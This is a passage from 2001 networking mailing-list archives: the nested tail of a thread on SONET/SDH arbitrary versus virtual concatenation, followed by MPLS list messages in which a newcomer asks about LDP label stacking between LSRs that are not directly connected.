> > > > > >           > > >               > >    at the end points,
> > > > > > since all
> > > > > > systems in a ring
> > > > > >           > > >               > >    will be of the same
> > > > > > vendor
> > > > > > anyway. (i.e. if one
> > > > > >           > > >               > >    system supports arb.
> > > > > > conc. so
> > > > > > will the rest in
> > > > > >           > > >               > >    the ring).
> > > > > >           > > >               > > 4. why is ODSI making a
> > > > > > mention of
> > > > > > arb.
> > > > > >           > > >               > > concatenation
> > > > > >           > > >               > >    in their functional
> > > > > > spec?
> > > > > >           > > >               > >
> > > > > >           > > >               > > Thanx,
> > > > > >           > > >               > > Sanjay.
> > > > > >           > > >               > > --- Maarten Vissers
> > > > > > <mvissers@lucent.com> wrote:
> > > > > >           > > >               > > > Sanjay,
> > > > > >           > > >               > > >
> > > > > >           > > >               > > > Arbitrary concatenation
> > > > > > was
> > > > > > present in the very
> > > > > >           > > >               > > > first versions of T.105
> > > > > >           > > >               > > > and G.707 (called G.709
> > > > > > at the
> > > > > > time). It was
> > > > > >           > > >               > never
> > > > > >           > > >               > > > implemented, until
> > > > > >           > > >               > > > ATM people decided
> > > > > > (without
> > > > > > consultation with
> > > > > >           > > >               > > > transport people) to
> > > > > >           > > >               > > > define ATM over
> > > > > > VC-4-4c/STS-12c.
> > > > > > The problems
> > > > > >           > > >               > this
> > > > > >           > > >               > > > has caused initially
> > > > > >           > > >               > > > in the networks was
> > > > > > tremendous;
> > > > > > VC-4-4c/STS-12c
> > > > > >           > > >               > > > couldn't be transported
> > > > > >           > > >               > > > as a tributary signal in
> > > > > > e.g.
> > > > > > STM-16/OC-48
> > > > > >           > > >               > > signals,
> > > > > >           > > >               > > > it could only be
> > > > > >           > > >               > > > transported within an
> > > > > > STM-4/OC-12
> > > > > > directly on
> > > > > >           > > >               > > fiber
> > > > > >           > > >               > > > (very expensive!!).
> > > > > >           > > >               > > > Only when new network
> > > > > > elements
> > > > > > where installed
> > > > > >           > > >               > > > supporting
> > > > > >           > > >               > > > VC-4-4c/STS-12c this
> > > > > > ATM-service
> > > > > > could be
> > > > > >           > > >               > handled
> > > > > >           > > >               > > by
> > > > > >           > > >               > > > the transport
> > > > > >           > > >               > > > networks at normal
> > > > > > costs. To
> > > > > > transport
> > > > > >           > > >               > > > VC-4-4c/STS-12c over the
> > > > > > original
> > > > > >           > > >               > > > SDH networks,
> > > > > > contiguous/virtual
> > > > > > concatenation
> > > > > >           > > >               > > > conversion function has
> > > > > >           > > >               > > > been defined (see
> > > > > > G.707); special
> > > > > > cont/virt conc
> > > > > >           > > >               > > > conversion interface
> > > > > >           > > >               > > > port units have been
> > > > > > designed and
> > > > > > installed.
> > > > > >           > > >               > > >
> > > > > >           > > >               > > > Arbitrary concatenation
> > > > > > has been
> > > > > > taken out in
> > > > > >           > > >               > the
> > > > > >           > > >               > > > latest versions of the
> > > > > >           > > >               > > > two standards for the
> > > > > > reasons
> > > > > > mentioned by
> > > > > >           > > >               > Juergen
> > > > > >           > > >               > > > and indicated above.
> > > > > >           > > >               > > > I would say that most
> > > > > > likely 99%
> > > > > > of the existing
> > > > > >           > > >               > > > SONET/SDH networks do
> > > > > >           > > >               > > > not support arbitrary
> > > > > > concatenation, and there
> > > > > >           > > >               > are
> > > > > >           > > >               > > > no client signals
> > > > > >           > > >               > > > defined that are mapped
> > > > > > into
> > > > > > arbitrary
> > > > > >           > > >               > > concatenated
> > > > > >           > > >               > > > signals. So I would
> > > > > >           > > >               > > > assume that arbitrary
> > > > > > concatenation is a dead
> > > > > >           > > >               > > body,
> > > > > >           > > >               > > > not worth to invest
> > > > > >           > > >               > > > a single penny in.
> > > > > > Virtual
> > > > > > concatenation is the
> > > > > >           > > >               > > > future.
> > > > > >           > > >               > > >
> > > > > >           > > >               > > > Regards,
> > > > > >           > > >               > > >
> > > > > >           > > >               > > > Maarten
> > > > > >           > > >               > > >
> > > > > >           > > >               > > > Heiles Juergen wrote:
> > > > > >           > > >               > > > >
> > > > > >           > > >               > > > > Sanjay,
> > > > > >           > > >               > > > >
> > > > > >           > > >               > > > > arbitary contiguous
> > > > > > concatenation has to be
> > > > > >           > > >               > > > supported by all network
> > > > > > elements
> > > > > > along the>
> > > > > >           > > >               > path,>
> > > > > >           > > >               > > > while virtual
> > > > > > concatenation needs
> > > > > > only support
> > > > > >           > > >               > at
> > > > > >           > > >               > > > the end systems
> > > > > > terminating
> > > > > > virtual
> > > > > >           > > >               > concatenation
> > > > > >           > > >               > > > and providing access to
> > > > > > the client
> > > > > > signal.
> > > > > >           > > >               > > > > Arbitary contiguous
> > > > > > concatenation is not
> > > > > >           > > >               > > > standardized and support
> > > > > > only by
> > > > > > several
> > > > > >           > > >               > vendors.
> > > > > >           > > >               > > > Exisitng networks don't
> > > > > > support
> > > > > > it. It would
> > > > > >           > > >               > > require
> > > > > >           > > >               > > > a replacement of most
> > > > > > network
> > > > > > elements,
> > > > > >           > > >               > something
> > > > > >           > > >               > > > operators don't want.
> > > > > > With virtual
> > > > > > concatenation
> > > > > >           > > >               > > you
> > > > > >           > > >               > > > can go through exisitng
> > > > > > networks.
> > > > > > Only the end
> > > > > >           > > >               > > > systems that support the
> > > > > > specific
> > > > > > client signal
> > > > > >           > > >               > > have
> > > > > >           > > >               > > > to support virtual
> > > > > > concatenation
> > > > > > also.
> > > > > >           > > >               > > > > Furthermore virtual
> > > > > > concatenation allows to
> > > > > >           > > >               > > > disribute the individual
> > > > > > VCs/STS-SPEs over
> > > > > >           > > >               > several
> > > > > >           > > >               > > > STM/OC signals, which is
> > > > > > not
> > > > > > possible with
> > > > > >           > > >               > > > contiguous
> > > > > > concatenation. An
> > > > > > application for
> > > > > >           > > >               > this
> > > > > >           > > >               > > is
> > > > > >           > > >               > > > the transport of a 10
> > > > > > Gbit/s
> > > > > > paylaod over
> > > > > >           > > >               > 4xOC-48
> > > > > >           > > >               > > in
> > > > > >           > > >               > > > a OC-48 based WDM
> > > > > > system.
> > > > > >           > > >               > > > > The LCAS (Link
> > > > > > Capacity
> > > > > > Adjustment Scheme)
> > > > > >           > > >               > > allows
> > > > > >           > > >               > > > to modify the number of
> > > > > > virtual
> > > > > > concatenated
> > > > > >           > > >               > > signals
> > > > > >           > > >               > > > (and as such the
> > > > > > transport
> > > > > > bandwidth) on the
> > > > > >           > > >               > fly.
> > > > > >           > > >               > > > > In my view virtual
> > > > > > concatenation
> > > > > > has a longer
> > > > > >           > > >               > > > lifetime.
> > > > > >           > > >               > > > >
> > > > > >           > > >               > > > > Regards
> > > > > >           > > >               > > > >
> > > > > >           > > >               > > > > Juergen
> > > > > >           > > >               > > > >
> > > > > >           > > >               > > > > > -----Original
> > > > > > Message-----
> > > > > >           > > >               > > > > > From: ashritha
> > > > > > thirumalai
> > > > > >           > > >               > > >
> > > > > > [SMTP:chickoo66@yahoo.com]
> > > > > >           > > >               > > > > > Sent: Monday, May
> > > > > > 07, 2001
> > > > > > 9:05 PM
> > > > > >           > > >               > > > > > To:
> > > > > > ip-optical@lists.bell-labs.com
> > > > > >           > > >               > > > > > Cc:
> > > > > > chickoo66@yahoo.com
> > > > > >           > > >               > > > > > Subject:
> > > > > > [IP-Optical]
> > > > > > concatenation
> > > > > >           > > >               > > > extensions in sonet/sdh
> > > > > >           > > >               > > > > >
> > > > > >           > > >               > > > > > All,
> > > > > >           > > >               > > > > >
> > > > > >           > > >               > > > > > A newbie question.
> > > > > > (and a
> > > > > > digression from
> > > > > >           > > >               > > > current
> > > > > >           > > >               > > > > > threads)
> > > > > >           > > >               > > > > >
> > > > > >           > > >               > > > > > Virtual
> > > > > > concatenation seems to
> > > > > > have been
> > > > > >           > > >               > > > accepted
> > > > > >           > > >               > > > > > as standard
> > > > > > procedure.
> > > > > > Lucent/Agere, Cypress
> > > > > >           > > >               > > etc
> > > > > >           > > >               > > > > > seem to have sonet
> > > > > > framers
> > > > > > that support
> > > > > >           > > >               > > virtual
> > > > > >           > > >               > > > > > concatenation.
> > > > > >           > > >               > > > > >
> > > > > >           > > >               > > > > > However, there has
> > > > > > been some
> > > > > > discussion on
> > > > > >           > > >               > > > > > arbitrary
> > > > > > concatenation as
> > > > > > well. arbitrary
> > > > > >           > > >               > > > > > concatenation seems
> > > > > > to be a
> > > > > > graceful
> > > > > >           > > >               > extension
> > > > > >           > > >               > > > > > of sonet/sdh's
> > > > > > contiguous
> > > > > > concatenation,
> > > > > >           > > >               > while
> > > > > >           > > >               > > > > > virtual
> > > > > > concatenation seems
> > > > > > like such a
> > > > > >           > > >               > hack.
> > > > > >           > > >               > > > > >
> > > > > >           > > >               > > > > > I invite your
> > > > > > opinions and
> > > > > > comments on the
> > > > > >           > > >               > > > > > applications,
> > > > > > relevance and
> > > > > > potential
> > > > > >           > > >               > > lifetimes
> > > > > >           > > >               > > > > > of virtual and
> > > > > > arbitrary
> > > > > > concatenation
> > > > > >           > > >               > > schemes.
> > > > > >           > > >               > > > > >
> > > > > >           > > >               > > > > > Thanx,
> > > > > >           > > >               > > > > > Sanjay.
> > > > > >           > > >               > > > > >
> > > > > >           > > >               > > > > >
> > > > > >           > > >               > > >
> > > > > >           > > >               >
> > > > > > __________________________________________________
> > > > > >           > > >               > > > > > Do You Yahoo!?
> > > > > >           > > >               > > > > > Yahoo! Auctions -
> > > > > > buy the
> > > > > > things you want at
> > > > > >           > > >               > > > great prices
> > > > > >           > > >               > > > > >
> > > > > > http://auctions.yahoo.com/
> > > > > >           > > >               > > > > >
> > > > > >           > > >               > > > > >
> > > > > >           > > >               > >
> > > > > > _______________________________________________
> > > > > >           > > >               > > > > > IP-Optical mailing
> > > > > > list
> > > > > >           > > >               > > > > >
> > > > > > IP-Optical@lists.bell-labs.com
> > > > > >           > > >               > > > > >
> > > > > >           > > >               > > >
> > > > > >           > > >               > >
> > > > > >           > > >               >
> > > > > >           > > >
> > > > > >
> > > > > http://lists.bell-labs.com/mailman/listinfo/ip-optical
> > > > > >           > > >               > > > >
> > > > > >           > > >               > > > >
> > > > > >           > > >               >
> > > > > > _______________________________________________
> > > > > >           > > >               > > > > IP-Optical mailing
> > > > > > list
> > > > > >           > > >               > > > >
> > > > > > IP-Optical@lists.bell-labs.com
> > > > > >           > > >               > > > >
> > > > > >           > > >               > >
> > > > > >           > > >               >
> > > > > >           > > >
> > > > > >
> > > > > http://lists.bell-labs.com/mailman/listinfo/ip-optical>
> > > > > >           > > >               > > begin:vcard
> > > > > >           > > >               > > > n:Vissers;Maarten
> > > > > >           > > >               > > > tel;cell:+31 62 061 3945
> > > > > >           > > >               > > > tel;fax:+31 35 687 5976
> > > > > >           > > >               > > > tel;home:+31 35 526 5463
> > > > > >           > > >               > > > tel;work:+31 35 687 4270
> > > > > >           > > >               > > > x-mozilla-html:FALSE
> > > > > >           > > >               > > > org:Lucent Technologies
> > > > > > Nederland;NA&CPSE
> > > > > >           > > >               > > > version:2.1
> > > > > >           > > >               > > >
> > > > > > email;internet:mvissers@lucent.com
> > > > > >           > > >               > > >
> > > > > > adr;quoted-printable:;;Botterstraat
> > > > > >           > > >               > > > 45=0D=0A=0D=0A;1271 XL
> > > > > > Huizen;;;The Netherlands>
> > > > > >           > > >               > >>  > > fn:Maarten Vissers
> > > > > >           > > >               > > > end:vcard
> > > > > >           > > >               > > >
> > > > > >           > > >               > >
> > > > > >           > > >               > >
> > > > > >           > > >               > >
> > > > > > __________________________________________________
> > > > > >           > > >               > > Do You Yahoo!?
> > > > > >           > > >               > > Yahoo! Auctions - buy the
> > > > > > things you
> > > > > > want at great
> > > > > >           > > >               > > prices
> > > > > >           > > >               > > http://auctions.yahoo.com/
> > > > > >           > > >               > >
> > > > > >           > > >               > >
> > > > > > _______________________________________________
> > > > > >           > > >               > > IP-Optical mailing list
> > > > > >           > > >               > >
> > > > > > IP-Optical@lists.bell-labs.com
> > > > > >           > > >               > >
> > > > > >           > > >               >
> > > > > >           > > >
> > > > > >
> > > > > http://lists.bell-labs.com/mailman/listinfo/ip-optical
> > > > > >           > > >               >
> > > > > >           > > >               >
> > > > > >           > > >               >
> > > > > > __________________________________________________
> > > > > >           > > >               > Do You Yahoo!?
> > > > > >           > > >               > Yahoo! Auctions - buy the
> > > > > > things you
> > > > > > want at great
> > > > > >           > > >               > prices
> > > > > >           > > >               > http://auctions.yahoo.com/
> > > > > >           > > >               >
> > > > > >           > > >               >
> > > > > > _______________________________________________
> > > > > >           > > >               > IP-Optical mailing list
> > > > > >           > > >               >
> > > > > > IP-Optical@lists.bell-labs.com
> > > > > >           > > >               >
> > > > > >           > > >
> > > > > >
> > > > > http://lists.bell-labs.com/mailman/listinfo/ip-optical
> > > > > >           > > >
> > > > > >           > > >
> > > > > >           > > >
> > > > > > __________________________________________________
> > > > > >           > > >               Do You Yahoo!?
> > > > > >           > > >               Yahoo! Auctions - buy the
> > > > > > things you
> > > > > > want at great prices
> > > > > >           > > >               http://auctions.yahoo.com/
> > > > > >           > >
> > > > > >           > >
> > > > > > _______________________________________________
> > > > > >           > > IP-Optical mailing list
> > > > > >           > > IP-Optical@lists.bell-labs.com
> > > > > >           > >
> > > > > http://lists.bell-labs.com/mailman/listinfo/ip-optical
> > > > >
> > > > >
> > > > > __________________________________________________
> > > > > Do You Yahoo!?
> > > > > Yahoo! Auctions - buy the things you want at great prices
> > > > > http://auctions.yahoo.com/
> > > > >
> > > > > _______________________________________________
> > > > > IP-Optical mailing list
> > > > > IP-Optical@lists.bell-labs.com
> > > > > http://lists.bell-labs.com/mailman/listinfo/ip-optical
> > > > >
> > > >
> > >
> > > _______________________________________________
> > > IP-Optical mailing list
> > > IP-Optical@lists.bell-labs.com
> > > http://lists.bell-labs.com/mailman/listinfo/ip-optical
--------------F906E79E765EDB1E11698AE4
Content-Type: text/x-vcard; charset=us-ascii;
 name="dimitri.papadimitriou.vcf"
Content-Description: Card for Dimitri Papadimitriou
Content-Disposition: attachment;
 filename="dimitri.papadimitriou.vcf"
Content-Transfer-Encoding: 7bit

begin:vcard 
n:Dimitri;Papadimitriou Dimitri
tel;home:+32 2 3434361
tel;work:+32 3 2408491
x-mozilla-html:FALSE
url:http://www.alcatel.com
org:Alcatel Bell;IPO NSG - Antwerpen 
version:2.1
email;internet:dimitri.papadimitriou@alcatel.be
title:Optical Networking R&S - Senior Engineer
adr;quoted-printable:;;Francis Wellesplein, 1=0D=0AB-2018 Antwerpen;;;;BELGIUM
fn:Papadimitriou Dimitri
end:vcard

--------------F906E79E765EDB1E11698AE4--



From owner-mpls@UU.NET  Thu May 17 07:56:39 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA14467
	for <mpls-archive@lists.ietf.org>; Thu, 17 May 2001 07:56:38 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpjz16720;
	Thu, 17 May 2001 11:56:18 GMT
Received: by mail-control.mail.uu.net 
	id QQkpjz23469
	for mpls-outgoing; Thu, 17 May 2001 11:55:42 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpjz23461
	for <mpls@mail-control.mail.uu.net>; Thu, 17 May 2001 11:55:37 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpjz15132
	for <mpls@uu.net>; Thu, 17 May 2001 11:54:54 GMT
From: Peter.White@nokia.com
Received: from mgw-x4.nokia.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mgw-x4.nokia.com [131.228.20.27])
	id QQkpjz15214
	for <mpls@uu.net>; Thu, 17 May 2001 11:54:54 GMT
Received: from esvir04nok.ntc.nokia.com (esvir04nokt.ntc.nokia.com [172.21.143.36])
	by mgw-x4.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id f4HBuRh27508
	for <mpls@uu.net>; Thu, 17 May 2001 14:56:27 +0300 (EET DST)
Received: from esebh12nok.ntc.nokia.com (unverified) by esvir04nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.2.1) with ESMTP id <T5393a42035ac158f240e7@esvir04nok.ntc.nokia.com>;
 Thu, 17 May 2001 14:54:52 +0300
Received: by esebh12nok with Internet Mail Service (5.5.2652.78)
	id <JW3TY8HQ>; Thu, 17 May 2001 14:54:52 +0300
Message-ID: <1D1620A986E0D21184210008C7089AEAC1A6C1@hueis02nok>
To: asish.punnoose@wipro.com, mpls@UU.NET
Subject: RE: Hierarchy between two LSRs
Date: Thu, 17 May 2001 14:54:51 +0300
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.78)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,
 
Could you clarify the question, please?
 
It seems to me that you are asking that if two LSPs have an LDP peering, how
does LDP know that they have an LDP peering.
 
BR,
 
Peter White

-----Original Message-----
From: ext Asish Thomas Punnoose [mailto:asish.punnoose@wipro.com]
Sent: 17 May, 2001 12:50
To: mpls@UU.NET
Subject: Hierarchy between two LSRs


hello 
 
I am new to MPLS and i have a basic doubt. 
 
If hierarchy is introduced between two LSRs, how does LDP/ CR-LDP know
whether a hierarchy exists between the two.  
 
How does the label switching work in this situation.
 
Please do help and could someone send some pointers related to this topic.
 
Thanks in advance 
 
Asish Thomas



From owner-mpls@UU.NET  Thu May 17 07:58:59 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA14599
	for <mpls-archive@lists.ietf.org>; Thu, 17 May 2001 07:58:59 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpjz09800;
	Thu, 17 May 2001 11:58:18 GMT
Received: by mail-control.mail.uu.net 
	id QQkpjz23600
	for mpls-outgoing; Thu, 17 May 2001 11:57:40 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpjz23516
	for <mpls@mail-control.mail.uu.net>; Thu, 17 May 2001 11:56:42 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpjz05436
	for <mpls@uu.net>; Thu, 17 May 2001 11:56:29 GMT
Received: from pdc2proxy.wipro.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.129.228.195])
	id QQkpjz06072
	for <mpls@uu.net>; Thu, 17 May 2001 11:56:23 GMT
Received: from pdc2vwall.wipro.com (pdc2vwall.wipro.com [10.111.14.18])
	by pdc2proxy.wipro.com (8.9.3/8.9.3) with SMTP id RAA19922
	for <mpls@uu.net>; Thu, 17 May 2001 17:28:30 GMT
Received: from Asish ([10.111.11.55]) by pdc2mail.mail.wipro.com
          (Netscape Messaging Server 4.15) with SMTP id GDH3JC00.29T; Thu,
          17 May 2001 17:26:00 +0800 
Message-ID: <003c01c0dec9$c5583920$370b6f0a@Asish>
From: "Asish Thomas Punnoose" <asish.punnoose@wipro.com>
To: <mgoel@hss.hns.com>
Cc: <mpls@UU.NET>
References: <65256A4F.003FB644.00@sandesh.hss.hns.com>
Subject: Re: Hierarchy between two LSRs
Date: Thu, 17 May 2001 17:36:14 +0530
MIME-Version: 1.0
Content-Type: multipart/mixed;    
	boundary="------------InterScan_NT_MIME_Boundary"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

--------------InterScan_NT_MIME_Boundary
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0039_01C0DEF7.DF0132E0"

------=_NextPart_000_0039_01C0DEF7.DF0132E0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

hello mohit,

yes i meant label stacking=20

regards=20
asish=20
  ----- Original Message -----=20
  From: mgoel@hss.hns.com=20
  To: Asish Thomas Punnoose=20
  Sent: Thursday, May 17, 2001 5:20 PM
  Subject: Re: Hierarchy between two LSRs




  Hi Ashish,

  What is meant by hierrarchy between two LSRs. Is it same as LSP =
tunneling/Label
  stacking.

  Regards
  Mohit





  "Asish Thomas Punnoose" <asish.punnoose@wipro.com> on 05/17/2001 =
05:20:04 PM

  To:   mpls@UU.NET
  cc:    (bcc: Mohit Goel/HSS)

  Subject:  Hierarchy between two LSRs




  hello

  I am new to MPLS and i have a basic doubt.

  If hierarchy is introduced between two LSRs, how does LDP/ CR-LDP know =
whether a
  hierarchy exists between the two.

  How does the label switching work in this situation.

  Please do help and could someone send some pointers related to this =
topic.

  Thanks in advance

  Asish Thomas


------=_NextPart_000_0039_01C0DEF7.DF0132E0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2920.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#800000 face=3DArial size=3D2>hello =
mohit,</FONT></DIV>
<DIV><FONT color=3D#800000 face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#800000 face=3DArial size=3D2>yes i meant label =
stacking=20
</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#800000 face=3DArial size=3D2>regards </FONT></DIV>
<DIV><FONT color=3D#800000 face=3DArial size=3D2>asish </FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #800000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:mgoel@hss.hns.com"=20
  title=3Dmgoel@hss.hns.com>mgoel@hss.hns.com</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  href=3D"mailto:asish.punnoose@wipro.com" =
title=3Dasish.punnoose@wipro.com>Asish=20
  Thomas Punnoose</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Thursday, May 17, 2001 =
5:20=20
PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: Hierarchy between =
two=20
  LSRs</DIV>
  <DIV><BR></DIV><BR><BR>Hi Ashish,<BR><BR>What is meant by hierrarchy =
between=20
  two LSRs. Is it same as LSP=20
  =
tunneling/Label<BR>stacking.<BR><BR>Regards<BR>Mohit<BR><BR><BR><BR><BR><=
BR>"Asish=20
  Thomas Punnoose" &lt;<A=20
  =
href=3D"mailto:asish.punnoose@wipro.com">asish.punnoose@wipro.com</A>&gt;=
 on=20
  05/17/2001 05:20:04 PM<BR><BR>To:&nbsp;&nbsp; <A=20
  href=3D"mailto:mpls@UU.NET">mpls@UU.NET</A><BR>cc:&nbsp;&nbsp;&nbsp; =
(bcc: Mohit=20
  Goel/HSS)<BR><BR>Subject:&nbsp; Hierarchy between two=20
  LSRs<BR><BR><BR><BR><BR>hello<BR><BR>I am new to MPLS and i have a =
basic=20
  doubt.<BR><BR>If hierarchy is introduced between two LSRs, how does =
LDP/=20
  CR-LDP know whether a<BR>hierarchy exists between the two.<BR><BR>How =
does the=20
  label switching work in this situation.<BR><BR>Please do help and =
could=20
  someone send some pointers related to this topic.<BR><BR>Thanks in=20
  advance<BR><BR>Asish Thomas<BR></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_0039_01C0DEF7.DF0132E0--


--------------InterScan_NT_MIME_Boundary--


From owner-mpls@UU.NET  Thu May 17 08:04:07 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA14762
	for <mpls-archive@lists.ietf.org>; Thu, 17 May 2001 08:04:07 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpka20919;
	Thu, 17 May 2001 12:03:48 GMT
Received: by mail-control.mail.uu.net 
	id QQkpka04571
	for mpls-outgoing; Thu, 17 May 2001 12:03:16 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpka04557
	for <mpls@mail-control.mail.uu.net>; Thu, 17 May 2001 12:03:04 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpka20022
	for <mpls@uu.net>; Thu, 17 May 2001 12:02:03 GMT
Received: from pdc2proxy.wipro.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.129.228.195])
	id QQkpka17087
	for <mpls@uu.net>; Thu, 17 May 2001 12:01:55 GMT
Received: from pdc2vwall.wipro.com (pdc2vwall.wipro.com [10.111.14.18])
	by pdc2proxy.wipro.com (8.9.3/8.9.3) with SMTP id RAA19994
	for <mpls@uu.net>; Thu, 17 May 2001 17:34:04 GMT
Received: from Asish ([10.111.11.55]) by pdc2mail.mail.wipro.com
          (Netscape Messaging Server 4.15) with SMTP id GDH3SN00.RB1; Thu,
          17 May 2001 17:31:35 +0800 
Message-ID: <004601c0deca$8c8217f0$370b6f0a@Asish>
From: "Asish Thomas Punnoose" <asish.punnoose@wipro.com>
To: <Peter.White@nokia.com>
Cc: <mpls@UU.NET>
References: <1D1620A986E0D21184210008C7089AEAC1A6C1@hueis02nok>
Subject: Re: Hierarchy between two LSRs
Date: Thu, 17 May 2001 17:41:48 +0530
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Sender: owner-mpls@UU.NET
Precedence: bulk

hello

Here i meant was that two LSRs are not directly connected, but there is a
subnetwork which interconnects these two LSRs, so in this case how does the
LDP help in distributing labels and forming a LSP

Hope i have made it clear.

regards
Asish

----- Original Message -----
From: <Peter.White@nokia.com>
To: <asish.punnoose@wipro.com>; <mpls@UU.NET>
Sent: Thursday, May 17, 2001 5:24 PM
Subject: RE: Hierarchy between two LSRs


> Hi,
>
> Could you clarify the question, please?
>
> It seems to me that you are asking that if two LSPs have an LDP peering,
how
> does LDP know that they have an LDP peering.
>
> BR,
>
> Peter White
>
> -----Original Message-----
> From: ext Asish Thomas Punnoose [mailto:asish.punnoose@wipro.com]
> Sent: 17 May, 2001 12:50
> To: mpls@UU.NET
> Subject: Hierarchy between two LSRs
>
>
> hello
>
> I am new to MPLS and i have a basic doubt.
>
> If hierarchy is introduced between two LSRs, how does LDP/ CR-LDP know
> whether a hierarchy exists between the two.
>
> How does the label switching work in this situation.
>
> Please do help and could someone send some pointers related to this topic.
>
> Thanks in advance
>
> Asish Thomas
>




From owner-mpls@UU.NET  Thu May 17 08:15:14 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA15128
	for <mpls-archive@lists.ietf.org>; Thu, 17 May 2001 08:15:14 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpka24744;
	Thu, 17 May 2001 12:14:36 GMT
Received: by mail-control.mail.uu.net 
	id QQkpka14227
	for mpls-outgoing; Thu, 17 May 2001 12:14:05 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpka14219
	for <mpls@mail-control.mail.uu.net>; Thu, 17 May 2001 12:14:01 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpka08513
	for <mpls@UU.NET>; Thu, 17 May 2001 12:11:59 GMT
From: mgoel@hss.hns.com
Received: from hindon.hss.co.in by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.26.202])
	id QQkpka05174
	for <mpls@UU.NET>; Thu, 17 May 2001 12:11:51 GMT
Received: from sandesh.hss.hns.com (localhost [127.0.0.1])
	by hindon.hss.co.in (8.10.0/8.10.0) with SMTP id f4HCCQr18127;
	Thu, 17 May 2001 17:42:27 +0530 (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id 65256A4F.00419944 ; Thu, 17 May 2001 17:26:30 +0530
X-Lotus-FromDomain: HSS
To: "Asish Thomas Punnoose" <asish.punnoose@wipro.com>
cc: mpls@UU.NET
Message-ID: <65256A4F.0041942E.00@sandesh.hss.hns.com>
Date: Thu, 17 May 2001 17:40:40 +0530
